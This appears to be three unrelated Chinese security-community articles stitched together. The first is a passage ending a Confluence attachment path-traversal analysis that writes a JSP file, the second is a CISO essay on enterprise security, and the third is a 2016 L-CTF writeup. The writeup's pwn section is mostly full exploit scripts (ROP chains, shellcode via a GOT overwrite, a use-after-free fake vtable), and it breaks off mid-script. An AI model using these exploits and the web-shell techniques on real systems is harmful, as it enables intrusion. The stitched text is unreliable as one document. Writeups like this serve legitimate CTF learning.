List<Attachment> latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());
Iterator var2 = latestAttachments.iterator();
while(var2.hasNext()) {
Attachment attachment = (Attachment)var2.next();
File tmpFile = new File(this.getTempDirectoryForZipping(), attachment.getFileName());
InputStream inputStream = this.attachmentManager.getAttachmentData(attachment);
Throwable var6 = null;
try {
OutputStream fileOutputStream = new FileOutputStream(tmpFile); // tmpFile内容为/Users/Xxx/repos/confluenceRepos/temp/download8gHGV130701/../../../../../../Users/Xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cmd222.jsp
Throwable var8 = null;
try {
ByteStreams.copy(inputStream, fileOutputStream); //将缓存文件写入指定的路径
} catch (Throwable var31) {
var8 = var31;
throw var31;
} finally {
if (fileOutputStream != null) {
if (var8 != null) {
try {
fileOutputStream.close();
} catch (Throwable var30) {
var8.addSuppressed(var30);
}
} else {
fileOutputStream.close();
}
}
}
} catch (Throwable var33) {
var6 = var33;
throw var33;
} finally {
if (inputStream != null) {
if (var6 != null) {
try {
inputStream.close();
} catch (Throwable var29) {
var6.addSuppressed(var29);
}
} else {
inputStream.close();
}
}
}
}
//在confluence安装路径的temp目录下生成zip文件。
File zipFile = new File(this.getConfluenceTempDirectoryPath() + File.separator + this.getZipFilename() + ".zip");
FileUtils.createZipFile(this.getTempDirectoryForZipping(), zipFile);
FileUtils.deleteDir(this.getTempDirectoryForZipping());
this.downloadPath = this.prepareDownloadPath(zipFile.getPath()) + "?contentType=application/zip";
this.gateKeeper.addKey(this.prepareDownloadPath(zipFile.getPath()), this.getAuthenticatedUser());
return "success";
}
先拿到Attachement列表
List<Attachment> latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());
然后对列表中每个附件进行遍历，从最前面的开始，
然后通过
attachment.getFileName())
获得附件的名字（这里有我们之前设置好的payload文件名）
然后执行
ByteStreams.copy(inputStream, fileOutputStream);
将之前缓存的上传文件copy到通过请求参数`filename`指定的路径下，实现路径穿越。
执行前后对比如下：
对比缓存文件和在指定路径生成的文件的sha1值对比：一致。
Confluence本身就可以上传任意文件内容到服务端，但是会放在缓存目录下，文件路径不可控。关键地是，没有对`filename`请求参数进行过滤，有路径穿越漏洞，才能将指定文件名指定文件内容写入到文件系统中。
## 漏洞修复
从官网下载修复版[6.13.4](https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.4.tar.gz)。
对比文件发现，在6.13.4版本的DownloadAllAttachmentsOnPageAction.java文件中，
对attachment.getFileName()得到的字符串进行了过滤
import com.atlassian.confluence.util.io.ConfluenceFileUtils;
ConfluenceFileUtils.extractFileName(attachment.getFileName()))
这里attachment.getFileName()的值为路径穿越的payload：`../../../../../test3_by_cqq.txt`，而经过`ConfluenceFileUtils.extractFileName()`之后，
跟进
(new File(pathname)).getName()
由于File#getName方法仅取文件名的最后部分，
> Returns the name of the file or directory denoted by this abstract pathname.
> This is just the last name in the pathname's name sequence.
参考：<https://docs.oracle.com/javase/8/docs/api/java/io/File.html#getName-->
于是将我们的`../`的payload过滤掉了。
得到的tmpFile的值为：`/Users/Xxx/repos/confluenceRepos_6.13.4/temp/download7P7E1181301/test3_by_cqq.txt` | 社区文章 |
# CISO的闪电战——2年甲方安全的自我修炼
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：ayazero
## 前言
两年时间在企业安全上能做什么，笔者尝试挑战了一下这个问题。截至写这篇文章时，还有一些子领域做得不太好，不过既然时间差不多2年了，就拿出来分享一下吧。
对于企业安全建设，能说出来的人很多，但能落地庞大安全体系的人极少，大多需要5-10年。
## 范围对象
笔者任职公司是一个拥有数亿用户、各种各样的业务、几十个APP、几十万Server
OS实例、数万雇员的公司，并且有多家投资公司，上下游有大量产业链合作伙伴，还有跨境业务。
在这种体量的公司规模下，先简单解读一下面临的挑战及安全需求：
1\. IDC规模决定不可能用“买买买”搞定这摊子事，也不可能依赖开源软件，只能开启大规模自研之路。
2\. IT雇员规模虽然不是互联网行业最大，但也是非常庞大（数万），并且呈现高度的地域离散化和移动化，除了BeyondCorp之类的搞不定。
3\. 不只是做自己的企业边界内安全就可以，还要兼顾投后赋能、第三方、（数据）供应链安全；边做自己同时还要兼顾生态安全。
4\. 建团队不能只靠HR、猎头，用常规手段多半是2年也建不起来能消化这些总需求的团队。
## 目标设定
对于一个体量虽然不是最大，但跟最大的互联网公司业务形态非常类似，技术栈广度又比较接近的情况而言，在结果上必须达到一线互联网公司将近全部的安全能力，才可以认为满足当下的需求。
设定这个目标并不是表面做做，或者为了PR的需求，而是真实的需求。稍微展开一下有几个很关键的因素：
实事求是地讲，一线互联网公司安全水平70%-80%左右的能力，并不是一个行业很高的标准，对于大多数公司来说这只是一个真正意义上及格的水平。原因在于70%-80%能力大约也就实现了相对系统化的安全体系，安全能力覆盖率接近100%，在重点技术栈部分有纵深防御能力。纵深防御在很多场景下是及格的入门标准，熟悉攻击的人都知道，单层防御没有兜底方案被突破的概率很大，结果往往等同于安全能力不及格。
那有人也许会问，照你这么说市面上那么多公司都不具备所谓的纵深防御能力，他们全都不及格么？真相总是残酷的，笔者也无力回答这个问题。
另一方面，仅仅“满足当下的需求”并不一定能适配未来的发展，有可能跟不上未来互联网/IT技术本身的发展，或者表现出安全阻碍业务的效率（不是说安全绝对不阻碍业务，而是说相对行业水平来说拖后腿）。
### 挑战1：没有人
没有人可能是最大的困扰了，如此庞大的安全体系One man
army是不可能的，说的再好，安全负责人的知识结构再完整也无济于事。且要实现这种目标必须让团队具备全栈的能力，不仅仅是web，也不是加二进制就够了，而是开发、算法、隐私保护、运营各样各样的全都需要，最终安全团队的技能需要覆盖互联网全技术栈和所有的安全领域（工控这种小众一点的除外）。上哪儿去搬来这样的团队是个大考验，而且我们还是有倒计时目标的。
很多时候我们看一家公司的安全能力，不妨先从侧面看看他的安全团队的知识结构和技能，这样往往可以印证是不是跟他PR的一样，也可以作为一种侧面窥探安全能力的参考。譬如，一个安全团队规模不大，假如只有30人以下，那么他基本不太可能具备大规模自研的能力，也不可能去实践纵深防御体系。如果一个安全团队的技能主要以web安全为主，主业也是一个webservice为主的简单业务，是不是能说安全可以cover了呢？答案是否，因为资产技术栈和防御技术栈不对等，资产技术栈比攻击面选择性稍微大一点，但通常远大于web的防御技术栈，所以一旦攻击涉及到二进制层面就可能不能从容应对，从现实来说小安全团队的组成选择主营业务对口虽然无可厚非，但苛求结果的角度来说不会特别理想。
反之，如果团队的知识结构没有问题，而效率、ROI不理想，那么最大的瓶颈可能在安全负责人。尤其当主营业务相当挣钱，对安全不是那么计较投产比的时候，往往很容易掩盖这个问题。
### 挑战2：工程能力
对于很多市值100亿美元以上公司的安全团队来说，他们的真实瓶颈往往不是安全技术能力，而是工程化能力。这种所谓的工程化能力体现在能把自研的安全产品、安全系统落地于海量分布式环境，落地于规模庞大的组织的IT系统上，且不降低性能，不影响可用性，不出故障和运营事故。做一个安全产品demo是相对简单的，但也只是第一步，很多人以为随便凑几个RD便可以开发出安全产品部署到数以万计的系统上，但结果往往会半途而废。预估不足就在于安全方案设计，规则运营，数据分析都不是最难的，难的往往是性能和可用性。
这也是国内互联网公司安全能力跟全球头部公司比安全能力受制约最大的地方。
笔者就职时这家公司的其他技术领域已经有较大的发展和积累，对运维事故、可用性都有严格的定义和管理，大多数系统都有比较苛刻的逐年提升的可用性指标，对安全建设来说最大的坏处是你已经享受不到不用背负事故指标可以随意发布的红利，而是既要……又要……还要……在这种情况下，两年内研发出十几个安全基础组件覆盖所有的APP、服务器、员工终端、网络流量、敏感数据是极大的挑战。
强调工程能力和全栈技术视野的另一重影响是：这个因素直接决定安全团队和其他团队（SRE、IaaS和PaaS研发、业务研发）的沟通宽度。当两者之间的沟通管道越窄时，安全团队越容易落入自嗨，越宽则有利于作出接地气的项目。
### 挑战3：向上管理能力
经常听到一些声音，诸如：
* “老板不重视安全”；
* “不给投入资源”；
* “领导是个外行”；
* “安全就是个背锅的”；
* “业务方完全不懂安全”；
……
如果你不是问我建设性的建议而仅仅是针对这些现象的看法的话，那么我认为“以上全错”，只有一个真实的原因，那就是安全负责人的基本功不到位，甚至有些观点很危险。
做一个大安全体系需要的能力，已经远远超越纯技术层面，不能跟高层建立正确的沟通语言，肯定是做不出来的，因为这里面有太多的事情是需要上下同欲、横向对齐。即使送你100张安全体系的图背得滚瓜烂熟，给你一支现成的100人的全技术栈安全团队，缺了这个能力，你还是会发现安全体系很难落地。
就像笔者写《互联网企业安全高级指南》充其量只是写了些事情该怎么做，但实际一点没说CISO该怎么做，所以很多读者会发现即使看了那本书想在自己的企业里落地，但总感觉哪里还有点问题。现在我来解这个困惑：最大的Gap还是在实践者的管理基本功和全栈技术视野。
### 挑战4：推动能力
在海量基础设施和复杂系统中落地考验的是工程能力以及自动化运维水平（后者通常不是大问题），但这只是面向机器的部分，而安全能力不可避免有面向人的那一部分，且比面向机器的部分多的多，譬如几个月内让几万雇员全部安装杀毒软件这无异于进行一场整风运动，连乙方的安全厂商都没听说过有甲方能这么干的，且这种手段如果屡试不爽是一定会有大的副作用的，而我们设定的时间要求，必须多次、强制、强势、无反弹的发生类似整风运动这样的事情，这个极其考验文案、沟通和推动能力，如果你的团队是一群纯“蓝军”组成的，连个正儿八经能沟通的人都没有，那么恭喜你，mission
impossible！
笔者也曾听说过直接让安全工程师改写不合规的员工电脑桌面，不知道为什么，第一反应是安全工程师跟安全负责人有仇，想让安全负责人尽快下岗。守正出奇应该是一个主旋律，奇的方法偶尔用一两次还行，如果高频率的反复用，安全团队可能很危险。
### 挑战5：专业技能
如果有第5点的话，我想可能是安全负责人本身不能是一个外行和纯管理者，因为2年时间没有算进一个外行管理者自己学习、消化和错误决策的成本，而是只有紧凑的执行时间，也即是对怎么做不需要思考，而是要在落地效率上快马加鞭。执行速度加快意味着自己需要知道怎么做，而不是反复选型、验证、推倒重来。也不允许对人和项目上有太多的试水和推倒重来。简单来说，自己既要知道怎么做，又要知道招的人能不能做，还要知道人做的好不好。（这句话写起来很简单，实际要做到极难）
## 分解安全体系
图示的安全体系是一个较通用的技术沙盘，适用市值百亿到千亿美元公司较通用领域的安全建设。当然这只是个一级技术沙盘，没有展现更多的细节和实现，也没有业务相关性，主要给《互联网企业安全高级指南》做一个面向实操的update。因为书没有空写第二版，所以就零零碎碎把一些需要及时update的东西写出来。
另外这张图只是展示了传统意义的安全能力，没有展现对内的监管、审计和内控。只做隐私保护与网络安全是不够的，这只是狭义的安全；广义上的信息安全仍然有大量对内的工作要做，当然除了安全外，还需要做一些赋能业务的事，你可能觉得光光是这些安全需求已经很多了，难以消化，如果加上对内监管和业务赋能，那事情又比这张技术沙盘多出一倍。也不知道看官们是怎么定义安全工作的，笔者认为安全做的再好，价值也是有限的。所以笔者所在的安全团队从来不会只做纯安全。
对于技术沙盘中涉及的具体内容，笔者会在另一篇文章《下一代互联网企业安全架构》中展开。
## 实现和应对
那说到底这些事情该如何做呢？我们来谈谈从安全负责人视角（而不是安全工程师视角）展开最重要的事情。这些事情比研发HIDS，态势感知这些具体的项目重要的多。
## 安全治理框架
首先团队的技术能力是一种硬能力，这个几乎没办法去讲有什么捷径。但是对于安全体系而言，首先要做的是建立安全治理模型，明曰模型，实际不是模型，而是一套公司内的安全权责框架，能代表安全团队本身去推动项目落地，尽量由人为推动变成“轻推动+自我驱动”。安全团队可能挂靠于各种技术、平台、职能团队下，跟CEO之间往往也不是一级汇报关系，本身的组织层级和影响力都是有限的，如果全都靠安全团队自己去推那就比较累了，所以一定要借虎皮，而且是名正言顺的。
建立公司层面的风险统筹视角，并建立相关的虚拟组织对公司/事业群/业务单元风险周期性的评估和控制，对于安全团队而言相当于有了一个更高级的推手，当然不是说所有的事情都需要通过借虎皮这种方式，其实大部分事情，如果安全团队本身的沟通表达能力比较专业的话应该寻求内部消化，借助更高层级通常仅限于重后果、高频率、大范围、反复性的事情。对于这个问题其实也不是说一定要这种形式，任何可以借势的方法都可以认为是常规手段。
安全管理怎么做最好其实是没有标准答案的，所以笔者在这里也不过多的列出自己的解，避免限制大家的想象力。
对于安全负责人来说不能一上来就陷进技术视角，而是要为团队打开道路，否则安全团队产能高，但落不了地，结果还是不好。
## 业界对标
以笔者长期的观察，在甲方企业安全这个领域国内没有公司真正进入“无人区”，都还是有学习和模仿的对象的。积累不足的创新很多时候其实是自嗨，本质上是由于知识量或视野不足，不知道在世界上已经有一个更好的方法而已。在小一点的公司可能周遭人的知识不足以挑战你，在大公司这种形式上的“创新”则表现为人力和资源的浪费，想到哪里做到哪里往往是安全体系建设效率低下的原因。
对于国内的二三线互联网公司大多在整体技术积累上不表现为太领先和前瞻性，追求安全上的创新笔者认为无此必要，因为从安全团队的普遍职级、知识结构来看，能完成真正有意义的创新的概率极其低。那是不是完全不需要创新，也不是，跟业态相关的还是有的，譬如全球只有你所在的公司有这种业务形态，那还是有机会去思考对应的独特解决方案。
对于绝大多数公司而言，业界对标有助于快速识别自己的短板并且相对系统化的进行建设。安全本质上属于风险管理大类的工作，这类工作最忌讳：有10个风险，今年做3个，明年再做2个，看上去每年的指标还提高了，是不是绩效很好了？外行领导可能会陷入这种业绩不错的假象里。如果不对全局结果负责，还缺了50%的风险都没有得到控制，属于工作做得非常差。做安全的同学，尤其是作为Leader，负责某个领域或者几个领域，可能经常会被上级问及一个问题，就是安全做得好不好，我也看到过公司高管问下面同学这个问题，立马回答好或不好的，其实这样子的回答完全没有意义，因为好或者不好要看跟谁比，要视资源投入和时间效率来衡量产出。
假设以一家一线公司的安全高投入的结果去跟一个二线公司比，即使小幅领先也是差，但是如果同体量级别公司中，如果能力和效率大幅领先，甚至赶超上一个级别的公司，这种结果才有比较的意义。
以笔者所在的团队为例，我们会根据公司规模、竞争环境、技术整体成熟度，结合团队的落地实现能力去阶段性的选择不同的对标和参考对象（具体来说我们现阶段会对标全球互联网行业的头部公司；部分产品设计领域对标科技行业的某些头部公司；在地域、国情、业态相关的子领域会参考国内的一线公司，当然为了给团队设置高标准的底线，末了还会加一句其他公司暂时不参考）。
高标准对于任何一个有追求的团队来说都是不应放弃的底线。“要做什么事继而选择什么人”跟“有什么人继而选择做力所能及的事”，这代表了国内安全团队的分水岭。考虑团队落地能力主要是防止揠苗助长的行为，譬如对于一个10人安全团队，非要去模仿Google那种全栈自研的安全体系确实属于目标设定失误。
对于安全负责人来说，如果你所做的事情整体格局低于公司所处的市场地位，那么你可能危险了。因为在老板眼里，你是所有职能模块里拖后腿的那个人。很多同学不明白公司大了为什么总要去给自己空降一个更高级别的安全负责人，大抵就是这方面的原因，格局的修炼没办法在短时间内靠勤奋速成。
是不是这些东西太虚了，其实也不是，一方面是管理基本功，另一方面是专业技能和技术视野。除了对于安全理解还包括对于安全以外的互联网通用技术的理解。如果你了解一种攻击缓解机制，这种机制能否大范围的用在办公网络的PC，还是大规模运用于生产环境的IaaS，实现方式上能满足自动化运维，能支持熔断降级、尽可能不影响性能和用户体验，攻防角度对抗性价比最高的拦截检测点，综合衡量后的实现方案。强于单点对抗弱于工程技术，或者倒过来都可能造成误判。所以广大的安全从业者可以用一个尖锐的视角去评估现有团队的瓶颈，那就是看安全负责人本人的知识结构和平衡性。
如果你不是CISO，而是纯高P，最忌讳的就是你给不出在这个子领域的业界最佳实践的解，凡事都喜欢自己造轮子，又不能证明生产力，就容易让团队陷入尴尬的境地。
在实操上，进行对业界对标时，我们会评估对象在子领域的成熟度，但凡只有Demo，没有覆盖率，没有实际的数据化迭代运营，我们都评估为目标公司在该子领域不具备实际能力。举例来说做一个anti
kernel
rootkit的demo很容易，但只要没有大规模应用，我们就认为不具备能力。Demo可能有PR的价值，但是工程落地上直接对标可能会产生误导效果。
## 安全研究
安全研究严格意义上来说算不上是一个安全的子领域，因为安全研究存在于每一个安全子领域，单独拉出来说是因为大多数安全团队的组织结构反映了这是一个中长期投入的事情，可泛泛的理解为KPI导向相对模糊，有些甚至是纯PR。安全研究没有做的好和不好之说，只有相对接地气和不接地气。“未来长什么样是没人知道的”，这句话有两面性，一种代表不设限，消极地看则是无视成本和投入。
为什么要在这里提安全研究，因为对于安全团队到达一定规模以上，哪怕是两年的“闪电战”也必定会涉及，只针对当下做100%的安全运营是不可能满足业务增长需求的，甚至当其他公司的团队也在小步快跑时，你只选择对标当前状态就会永远被人甩在身后。弯道超车并非不可能，关键在于要对标别人的未来状态，这句话是不是逻辑有问题，其实对标大部分公司的未来状态都是有可能的，因为相对于他们自身的业界标杆而言，他们自己也是在学习和模仿的路上，所以这件事的门槛在于你是否能看到业界的发展路径，如果团队能力差不多，那么直接奔下一个点去就会事半功倍，所以整件事情达成效率的关键还在于你能否开启上帝视角，其次就是你在具体的项目上能否判断是选择新建，照搬，改进还是因为环境问题选择性略过对应的安全特性，这些决定了效率。
具体到实操上，安全研究这件事可以分为短期、中期和长期。短期定义为领导厂商已经成功落地的成熟技术，其余厂商不具备，但我方整体技术环境ready，可以选择研究（实际上等价于分析）然后复制。中期是目前行业的必然技术趋势，2-3年可见，进行预研和转化。长期（定义为3-5年）则是真正意义上为进入“无人区”做准备的，通常只有处于领导市场地位的公司（或挑战者象限的公司）才有此类需求，这类研究需要管理预期，大多可能会失败，没有结论或没有应用场景，需要容忍投入损失，目测国内有此类实际需求的公司不超过5家。
PR、顶会论文、应用场景、落地产品和服务，这些永远是在安全研究投入上需要平衡的话题。笔者根据自己所处的业务环境，选择以能实际落地的短期研究为主，辅之以有应用场景的中期预研，次之可以选择PR，在没有进入无人区的预示前不会选择进行长期研究。这个选择完全是应时应地制宜，只是一个trade
off，结论也不是长期稳定的，会随环境的变化而变，且预计两年内会有调整。
限于篇幅和码字太累，此文先收笔到这里，关于达成两年闪电战的关键因素其实还有一些，譬如如何评价和改进安全建设这些打算单独成文。
## 小结
最后总结一下提升效率的几个关键因素：
1\. 视野平衡性
2\. 管理基本功
3\. 他山之石可以攻玉
4\. 全局推进方法论
5\. ……
如果看官发现我故意省略了最重要的事情请不要说出来。
敬请期待作者下一篇文章
《下一代互联网企业安全架构》
## 作者简介
赵彦，现任美团点评集团安全部负责人，负责集团旗下全线业务的信息安全与隐私保护。加盟美团前，曾任华为云安全首席架构师，奇虎360企业安全技术总监、久游网安全总监、绿盟科技安全专家等职务。白帽子时代是Ph4nt0m
Security Team的核心成员，互联网安全领域第一代资深从业者。
## 团队介绍
美团安全部的大多数核心人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”，有受邀在Black
Hat等国际顶级会议发言的讲者，当然还有很多漂亮的运营妹子。
目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，横跨多种云基础设施，包括网络层、虚拟化/容器层、Server
软件层（内核态/用户态）、语言虚拟机层（JVM/JS
V8）、Web应用层、数据访问层等，并能够基于“大数据+机器学习”技术构建全自动的安全事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。
随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多在安全新兴领域不断探索的机会。
## 一个广告
美团安全2019年春季招聘已正式开启~
如果你想加入我们，欢迎简历请发至邮箱[email protected]。
具体职位信息，可点击“[这里](https://mp.weixin.qq.com/s?__biz=MzI5MDc4MTM3Mg==&mid=2247483981&idx=1&sn=773534f644dfb9bbe4c010bbd8d3347f&chksm=ec1be39edb6c6a88b1be288dc2240e902a0d93779e5cdb0522be66f6c5184a8d38071edad7f6&token=265456751&lang=zh_CN#rd)”进行查看。 | 社区文章 |
# 【CTF攻略】最新2016 L-CTF writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：Nu1L ****
稿费：700RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
2016 第一届全国网络安全对抗赛(L-CTF)解题报告
队伍： **Nu1L**
**web**
****
**签到题**
过滤了相关字符，and,select,updatexml双写绕过就好，空格用/**/代替，拿到密码we1c0me%_#2&_@LCTF。进去之后发现任意提交passwd提示密码不对，让num=0，passwd=5487即可。
**我控几不主我及几啦**
虽然说写了waf，但是sqlmap照样能过XD。各种tamper加上就好了：
****
****
**苏达学姐的网站**
题目一共分为三步
第一步是一个正则绕过：
题目的正则应该是^php://.*resource=(.*$这种形式，而且第一步应该先会检测是否是图片，于双次绕过就好了:
再读一下file/admin.php.txt：
熟悉的CBC字节翻转攻击：
****
****
拿到cookie之后，登录进去发现是一个上传页面，测试后发现可以上传ini文件，于是通过上传.user.ini文件，getshell，菜刀连上发现flag：
****
**睡过了**
前几天刚爆出来的漏洞，关于magic函数wakeup在反序列化数据时，如果属性过多导致wakup失效，具体文章可以自己找下。利用+号以及修改属性值绕过，最后利用glob绕过open_basedir，在/var/www/flag目录下发现flag：
**headpic**
感觉学到很多的一个题目：
首先是二次盲注，我们发现随意注册一个用户进入之后会有修改用户头像的地方，而主办方放的提示是二次注入，猜测修改头像时，会把用户名带入查询，如果查询错误，头像返回就是空，如果不是，则头像返回就会有长度，于是利用mid函数就可以了，py小脚本上一发：
得到用户密码：1d5afc15d99fe43fb602b25f3b5d2ee0
Cmd5解密是1admin2016
然后fuzz下目录，发现有admin.php以及robots.txt，用户更换图片地方存在ssrf（但是没什么用?不过能看源码）：
主办方提示了比较函数，而直接admin账户登录是显示账户错误的，于是user[]数组绕过即可，最后拿到flag：
**你一定不能来这**
比较好玩的一个题目，虽然最后看运气，首先fuzz下目录，发现：
然后访问下：
下载下download.php:
Hash长度扩展攻击，利用py下的hashpumpy爆破下secert的长度就可以了：
得到长度是18：
然后下载www.rar，发现有密码QAQ，hex编辑器打开在最后发现jjencode代码，github上有解密的脚本：
YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE.
培根密码：XXDDCCTTFF
拿到源码之后，没有什么逻辑，就是爆破time时间戳与rand随机数1-10000结合之后的md5：
于是burp或者自己写多线程脚本跑就好了：
要注意，抓包获得的时间并不是东八区北京时间，所以需要加8才能算对，感谢主办方后期心疼我们改了时间，要不然根本出不来= =
**Pwn**
****
****
**Pwn100**
很明显的栈溢出，然后就是构造ROP，泄露libc地址，调用system(“/bin/sh”)
from pwn import *
DEBUG = 0
if DEBUG:
context.log_level = 'debug'
io = process('./pwn100')
gdb.attach(io)
else:
io = remote('119.28.63.211', 2332)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn100')
puts_got_addr = elf.got['puts']
read_got_addr = elf.got['read']
puts_plt_addr = elf.symbols['puts']
read_plt_addr = elf.symbols['read']
pop_rdi_ret_addr = 0x0000000000400763
pop_rsi_pop_r15_ret_addr = 0x0000000000400761
pop_pop_pop_pop_ret_addr = 0x000000000040075d
rsp = 0x00601300
payload = 'A' * 0x40 + 'B' * 0x8 + p64(pop_rdi_ret_addr) + p64(puts_got_addr) + p64(puts_plt_addr)
payload += p64(pop_rdi_ret_addr) + p64(read_got_addr) + p64(puts_plt_addr)
payload += p64(pop_rdi_ret_addr) + p64(0) + p64(pop_rsi_pop_r15_ret_addr) + p64(rsp) + p64(1) + p64(read_plt_addr)
payload += p64(pop_pop_pop_pop_ret_addr) + p64(rsp)
payload = payload.ljust(0xC8, 'A')
raw_input('go?')
io.send(payload)
io.recvline()
libc_puts_addr = u64(io.recvline()[:6] + 'x00x00')
libc_read_addr = u64(io.recvline()[:6] + 'x00x00')
libc_base_addr = libc_puts_addr - 0x00070c70
libc_system_addr = libc_base_addr + 0x000468f0
bin_sh_addr = libc_base_addr + 0x0017dbc5
# libc_system_addr = libc_puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
# bin_sh_addr = libc_puts_addr - (libc.symbols['puts'] - next(libc.search('/bin/sh')))
log.info('libc_puts_addr:%s' % hex(libc_puts_addr))
log.info('libc_read_addr:%s' % hex(libc_read_addr))
payload2 = p64(1) * 3
payload2 += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(libc_system_addr)
io.sendline(payload2)
io.interactive()
**Pwn200**
首先IDA静态分析，400A8E函数存在一个栈地址泄漏
继续分析程序流程，在4007DF处发现输入的ID第一位为0时直接结束该函数执行然后去执行400A29，该函数中有strcpy存在很明显的栈溢出。
又因40096D中调用free，所以直接将shellcode起始地址覆盖free_plt，调用free时直接开sh:
#!/usr/bin/env python
from pwn import *
DEBUG = 0
if DEBUG:
p = process('./pwn2003sw54ed65rf7t')
else:
p = remote('119.28.63.211', 2333)
#pwntools shellcraft
shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
#some address
free_plt = 0x0000000000602018
def pwn():
p.recvuntil('who are u?n')
p.send(shellcode.ljust(48))
p.recvuntil(shellcode.ljust(48))
leak_addr = u64(p.recvn(6).ljust(8, 'x00'))
shellcode_addr = leak_addr - 0x50
print 'shellcode addr: ' + hex(shellcode_addr)
p.recvuntil('give me your id ~~?n')
p.sendline('0')
p.recvuntil('give me money~n')
payload = p64(shellcode_addr).ljust(56, 'x00') + p64(free_plt)
p.send(payload)
p.sendline('2')
p.interactive()
if __name__ == '__main__':
pwn()
**Pwn300**
拿到程序运行发现缺少lib，readelf看一下发现程序需要两个特殊的库:
libio和libgetshell，用ida分析可以很轻松找到栈溢出，利用栈溢出将libgetshell
dump下来看到一个名为getshell的函数，跳到那里就可以拿shell。
脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
from ctypes import *
from hexdump import hexdump
import os, sys
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
if LOCAL:
io = process('./pwn300kh6y5gt3treg')
else:
io = remote('119.28.63.211',2339)
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def recursive():
for i in xrange(10):
ru('fuck me!n')
payload = 40 * 'a' + p64(0x4004a9)
sn(payload.ljust(0xa0))
return
def leak(addr, length=40):
ru('fuck me!n')
pad = 40 * 'A'
pop6 = 0x40049e
callframe = 0x400484
write_got = 0x601018
payload = pad + p64(pop6) + p64(write_got) + p64(length) + p64(addr) + p64(1) + p64(callframe) + p64(0) * 7 + p64(0x4004A9)
print len(payload)
assert len(payload) <= 0xa0
sn(payload.ljust(0xa0))
return ra(length)
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
recursive()
dynelf = DynELF(leak, elf=ELF("./pwn300kh6y5gt3treg"))
#r = leak(0x601018)
#hexdump(r)
libgetshell = dynelf.lookup(None, "libgetshell")
getshell = dynelf.lookup('getshell', 'libgetshell')
info("Libgetshell = " + hex(libgetshell))
info("Getshell = " + hex(getshell))
ru('fuck me!n')
payload = 40 * 'a' + p64(getshell)
sn(payload.ljust(0xa0))
'''
f = open('libgetshell.dump', 'wb')
while 1:
f.write(leak(libgetshell, 0x1000))
libgetshell += 0x1000
'''
io.interactive()
return
if __name__ == '__main__':
pwn()
**Pwn400**
一个C++写的rsa加解密程序，在解密的时候可以泄露keypair(在堆上)的地址，同时解密完后会有uaf。在堆上构造fake
vtable，uaf占位即可。
脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
from ctypes import *
from hexdump import hexdump
import os, sys
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
if LOCAL:
io = process('./pwn400')
else:
io = remote('119.28.62.216',10023)
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def menu():
return ru('exitn')
def addcipher(keychain='0',p=3,q=5):
menu()
sl('1')
ru('Non')
sl(keychain)
if keychain == '1':
ru('p:')
sl(str(p))
ru('q:')
sl(str(q))
return
def encrypt(length,data):
menu()
sl('2')
ru(')n')
sl(str(length))
ru('n')
sn(data)
return
def decrypt(length,data):
menu()
sl('3')
ru(')n')
sl(str(length))
ru('textn')
sn(data)
return
def comment(data):
menu()
sl('4')
ru('RSA')
sn(data)
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
addcipher(keychain='1')
encrypt(64, 64*'a')
ru(': ')
rn(512)
heapleak = u64(ru('n')[:-1].ljust(8,'x00'))
heap = heapleak - 0x270
info("Heap Leak = " + hex(heap))
decrypt(64, 128*'0') # uaf
fake_vtable = heap + 0x40
payload = p64(fake_vtable) + 5 * p64(1) + p64(0xdeadbeef) * 4 + p64(0x0000000000401245) + p64(0x401245)
payload = payload.ljust(128)
comment(payload)
poprdi = 0x0000000000402343
ropchain = p64(poprdi)
ropchain += p64(0x604018)
ropchain += p64(0x400BE0)
ropchain += p64(0x401D9D) # back to main
decrypt(256,ropchain.ljust(512))
offset___libc_start_main_ret = 0x21ec5
